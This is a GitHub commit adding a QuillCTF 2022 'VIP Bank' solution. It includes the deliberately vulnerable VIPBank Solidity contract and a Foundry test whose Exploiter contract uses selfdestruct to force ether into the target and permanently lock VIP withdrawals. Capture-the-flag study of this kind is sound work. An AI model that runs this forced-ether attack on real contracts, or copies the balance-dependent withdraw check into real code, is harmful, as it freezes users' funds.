Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 17c5e6a

Browse files
Add solution for QuillCTF 2022 - Challenge 3 (minaminao#7)
Co-authored-by: minaminao <[email protected]>
1 parent de1a032 commit 17c5e6a

File tree

3 files changed

+134
-1
lines changed

3 files changed

+134
-1
lines changed

src/QuillCTF2022/README.md

Lines changed: 15 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,7 @@ Here's the link to the challenges page: https://quillctf.super.site/challenges.
77
**Table of Contents**
88
- [QuillHash CTF 2022 Solutions](#quillhash-ctf-2022-solutions)
99
- [Road closed:](#road-closed)
10+
- [VIP Bank:](#vip-bank)
1011
- [Confidential Hash:](#confidential-hash)
1112

1213

@@ -25,6 +26,19 @@ Goerli link: https://goerli.etherscan.io/address/0xd2372eb76c559586be0745914e953
2526
forge test --match-contract QuillCTF1Solved -vvvv
2627
```
2728

29+
30+
## VIP Bank:
31+
https://quillctf.super.site/challenges/quillctf-challenges/vip-bank
32+
33+
**Objective:**
34+
At any cost, lock the VIP user balance forever into the contract.
35+
36+
Goerli Link: https://goerli.etherscan.io/address/0x28e42e7c4bda7c0381da503240f2e54c70226be2
37+
38+
```
39+
forge test --match-contract QuillCTF3Solved -vvvv
40+
```
41+
2842
## Confidential Hash:
2943
https://quillctf.super.site/challenges/quillctf-challenges/ctf02
3044

@@ -35,4 +49,4 @@ Goerli link: https://goerli.etherscan.io/address/0xf8e9327e38ceb39b1ec3d26f5fad0
3549

3650
```
3751
forge test --match-contract QuillCTF2Solved -vvvv
38-
```
52+
```
Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
// SPDX-License-Identifier: MIT
2+
pragma solidity ^0.8.0;
3+
4+
import "forge-std/Test.sol";
5+
6+
/// ./challenge/VIPBank.sol
7+
8+
/// Define the interface for the Target contract
9+
interface ITarget {
10+
function deposit() external payable;
11+
12+
function withdraw(uint256 _amount) external;
13+
14+
function addVIP(address addr) external;
15+
16+
function contractBalance() external view returns (uint256);
17+
18+
function balances(address user) external view returns (uint256);
19+
}
20+
21+
/// Define the Exploiter contract
22+
contract Exploiter {
23+
/// make constructor payable to recieve ether during deployment
24+
constructor() payable {}
25+
26+
/// calls `selfdestruct` to force send ether to the recipient address
27+
function exploit(address payable _recipient) external {
28+
selfdestruct(_recipient);
29+
}
30+
}
31+
32+
contract QuillCTF3Solved is Test {
33+
ITarget target = ITarget(0x28e42E7c4bdA7c0381dA503240f2E54C70226Be2);
34+
address manager = 0xE48A248367d3BC49069fA01A26B7517756E32a52;
35+
Exploiter exploiter;
36+
37+
function setUp() public {
38+
/// Run the test against the goerli testnet fork
39+
vm.createSelectFork(vm.envString("RPC_ANKR_GOERLI"), 8167807);
40+
41+
/// Deploy the exploiter contract with 2 ether (any amount more than 0.5 will work)
42+
exploiter = new Exploiter{value: 2 ether}();
43+
}
44+
45+
function test_exploit() external {
46+
/// add this address as VIP
47+
vm.prank(manager);
48+
target.addVIP(address(this));
49+
50+
/// deposit some funds
51+
target.deposit{value: 0.05 ether}();
52+
53+
/// make sure that the balances for this address got updated
54+
assertEq(target.balances(address(this)), 0.05 ether);
55+
56+
/// force send ether to the target contract
57+
exploiter.exploit(payable(address(target)));
58+
59+
/// funds got locked!
60+
vm.expectRevert(
61+
abi.encodePacked(
62+
"Cannot withdraw more than 0.5 ETH per transaction"
63+
)
64+
);
65+
66+
target.withdraw(0.05 ether);
67+
}
68+
}
Lines changed: 51 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,51 @@
1+
// SPDX-License-Identifier: MIT
2+
3+
pragma solidity 0.8.7;
4+
5+
contract VIPBank {
6+
address public manager;
7+
mapping(address => uint256) public balances;
8+
mapping(address => bool) public VIP;
9+
uint256 public maxETH = 0.5 ether;
10+
11+
constructor() {
12+
manager = msg.sender;
13+
}
14+
15+
modifier onlyManager() {
16+
require(msg.sender == manager, "you are not manager");
17+
_;
18+
}
19+
20+
modifier onlyVIP() {
21+
require(VIP[msg.sender] == true, "you are not our VIP customer");
22+
_;
23+
}
24+
25+
function addVIP(address addr) public onlyManager {
26+
VIP[addr] = true;
27+
}
28+
29+
function deposit() public payable onlyVIP {
30+
require(
31+
msg.value <= 0.05 ether,
32+
"Cannot deposit more than 0.05 ETH per transaction"
33+
);
34+
balances[msg.sender] += msg.value;
35+
}
36+
37+
function withdraw(uint256 _amount) public onlyVIP {
38+
require(
39+
address(this).balance <= maxETH,
40+
"Cannot withdraw more than 0.5 ETH per transaction"
41+
);
42+
require(balances[msg.sender] >= _amount, "Not enough ether");
43+
balances[msg.sender] -= _amount;
44+
(bool success, ) = payable(msg.sender).call{value: _amount}("");
45+
require(success, "Withdraw Failed!");
46+
}
47+
48+
function contractBalance() public view returns (uint256) {
49+
return address(this).balance;
50+
}
51+
}

0 commit comments

Comments
 (0)